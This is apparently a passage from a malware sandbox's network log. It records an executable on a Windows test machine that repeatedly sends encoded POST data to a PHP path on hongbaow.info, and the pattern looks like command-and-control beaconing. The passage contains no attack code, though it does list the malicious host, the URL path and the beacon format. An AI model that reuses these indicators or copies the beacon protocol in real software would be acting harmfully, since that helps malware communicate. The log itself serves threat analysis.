2025-01-22 07:35:55 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:35:55 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:35:55 UTC	808	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eU7GEplpmsPGCeAemMEHXmasSVIn0WzfGUzzJ234zpfxIS47faK62cRUcRzVmISXw3OG0eg6PgF0x9V0Il%2BOkCp5e0PnZAsyd%2B0J%2FQLVw8YMafmGRmG36ZX0EaSjQoV3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddebaa969de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1507&min_rtt=1499&rtt_var=568&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1170&delivery_rate=1947965&cwnd=246&unsent_bytes=0&cid=e562dc4b97cf0048&ts=345&x=0"
2025-01-22 07:35:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49766	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:57 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:35:57 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:35:57 UTC	811	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MOKZMCG%2BFvgUWQIQp3jK%2B3MN0c%2FqYWnqAXdtU7BS4ZVeHINGL7fQT1R%2BjCAlwvJLaKVcvHVamn0tDJa7YZ39jpWOo68SwnWXpDgoyI42JMmaFadJIDUOYs8Vj61c%2Be3y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddec768658ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1879&min_rtt=1878&rtt_var=708&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1542525&cwnd=237&unsent_bytes=0&cid=d1bb7c1807d26e2e&ts=325&x=0"
2025-01-22 07:35:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49782	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:00 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:00 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:00 UTC	817	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zGZo9qt47n37wNgwCyiBR%2Fi0qqk44zsB%2B68Yxc637ddkdym%2BW9aCFkv%2FLzER9deNn%2F68qOFpEgd9uJ3EP%2Ban%2BzkfbuAQw9zXwoKZNhcFg67T9A%2FX7ha5VHAhsXDGuDsD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddeda2c1c4414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1565&min_rtt=1563&rtt_var=590&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1846932&cwnd=180&unsent_bytes=0&cid=e696a28c4a8ebebd&ts=351&x=0"
2025-01-22 07:36:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49788	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:01 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:36:01 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:36:01 UTC	808	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uCGynp9HAFDM00EKXQDlJg6i0ElizZc3ucsHERHpZyKmJv%2F4zxF4kQnXAwPqjZIanis1BysBRmqYuhAp6N5urqjZIvNO1uu5fSaVOQojAe1yldILqv5Fx1nNLoIc%2BY%2BG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddedeee3e4414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1557&min_rtt=1550&rtt_var=595&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1170&delivery_rate=1817050&cwnd=180&unsent_bytes=0&cid=4e6b83ad5b18b29b&ts=342&x=0"
2025-01-22 07:36:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49799	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:03 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:03 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:03 UTC	805	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WaTNKKc8qfUu2f4Osc%2BZxbtUYa4dqt%2FWGrMA1jYruxE54GnlHmMR15c3eGPp5AgvG8Mo9S9n48fGM4sulJq7YHOWHJM38dfFJJ6W3kdu97NgZbogvZnF3UHOmZLuy702"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddeeb9a7cde95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1478&min_rtt=1464&rtt_var=559&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1994535&cwnd=246&unsent_bytes=0&cid=af3ce29696f98c03&ts=329&x=0"
2025-01-22 07:36:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49819	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:05 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:05 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:05 UTC	807	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IileYJXWvOgCYodbcwijw5V8RXTAuyg3gEWEmEqleiigdYW9snqW22NutK7N1GySXWJEPfNJ6z1QNn48BcexMA8DmcsZK6nNE7DQuBvjeutPu8enhPlLRBL%2BgMd%2FI%2B9b"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddefbbc3342eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1540&min_rtt=1531&rtt_var=593&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1814791&cwnd=215&unsent_bytes=0&cid=52d9b4f11752b6eb&ts=337&x=0"
2025-01-22 07:36:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49826	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:06 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:36:06 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:36:07 UTC	814	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u4SdcD781Hm92Me9bM%2FPiwSzgT%2BcdbOo5M43NZ550bp5onKN9FZCNT3Dyr%2BpsjqYlfiEWP%2BzZv%2BMOzLuXyCgGoSlvaaOu6qBKKzzT0fj3XjZslwa38OckqSuBivh%2FGVv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf0349627c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1755&min_rtt=1746&rtt_var=673&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1170&delivery_rate=1602634&cwnd=218&unsent_bytes=0&cid=29269aac86e7ff1e&ts=329&x=0"
2025-01-22 07:36:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49837	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:08 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:08 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:08 UTC	817	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:08 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xDq1hdiFjeo9dZ8y6Dty%2FFtedvZOomaZJiRDpGErRL%2Frx6Spap0Fhr600fp%2FuhBDfa9RLpiEIuM6aQx0fC%2BFfuwmPjbpFrhIWDE%2FK%2FH7NfP6%2BUpSycptMK1XCIU52hy%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf0ac9f64414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1563&min_rtt=1562&rtt_var=587&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1859872&cwnd=180&unsent_bytes=0&cid=9fe248b30aaa58c3&ts=322&x=0"
2025-01-22 07:36:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49850	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:10 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:10 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:10 UTC	819	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6Tj97%2FVZF7%2B7T79Jx568j3my1S3rO4%2FVlMyl6sk%2BH%2BO4O4V2h3Jc%2FaRxATJIvB%2FlVaIMrt7kBC6BiH6F%2FUh8be3G9uwx38oO3zbpFnjFtzp4vyVZG%2F4bNyje7KbQqoTQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf18dbacc358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1607&min_rtt=1579&rtt_var=612&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1849271&cwnd=155&unsent_bytes=0&cid=2575f4bb47866405&ts=339&x=0"
2025-01-22 07:36:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49864	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:12 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:12 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:12 UTC	803	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:12 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5Hq5pxfuxtTs42hw5MbvHx3MvOcTUnRwbjtMjCv9nAYQzp8toeqJXza2EW5a7AVNImRH2bAjlinHn8m4L9gptiFmBSgcOi2XT0GBrR%2BXolMbPUTNuWG2hh2KCqifIZ26"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf260bc77c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1781&min_rtt=1773&rtt_var=681&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1589548&cwnd=218&unsent_bytes=0&cid=22050372b8d75b2a&ts=344&x=0"
2025-01-22 07:36:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49865	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:12 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:36:12 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:36:13 UTC	820	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:12 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=13jPNYsvzLKG%2FHOfvUolY6FB9hmCW0ovwZlBnB2vTMTtl0iJqN7%2F0fZznZPUdqFDRxdpdO7%2B12bmARC7R6yEZ%2BmoQxOtEVay%2F%2BlPOzQGHWa%2FQCHQre%2FMpIqUU%2BUIEVRx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf27c89dde95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1434&min_rtt=1427&rtt_var=549&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1170&delivery_rate=1967654&cwnd=246&unsent_bytes=0&cid=6fce26cab25113d7&ts=353&x=0"
2025-01-22 07:36:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
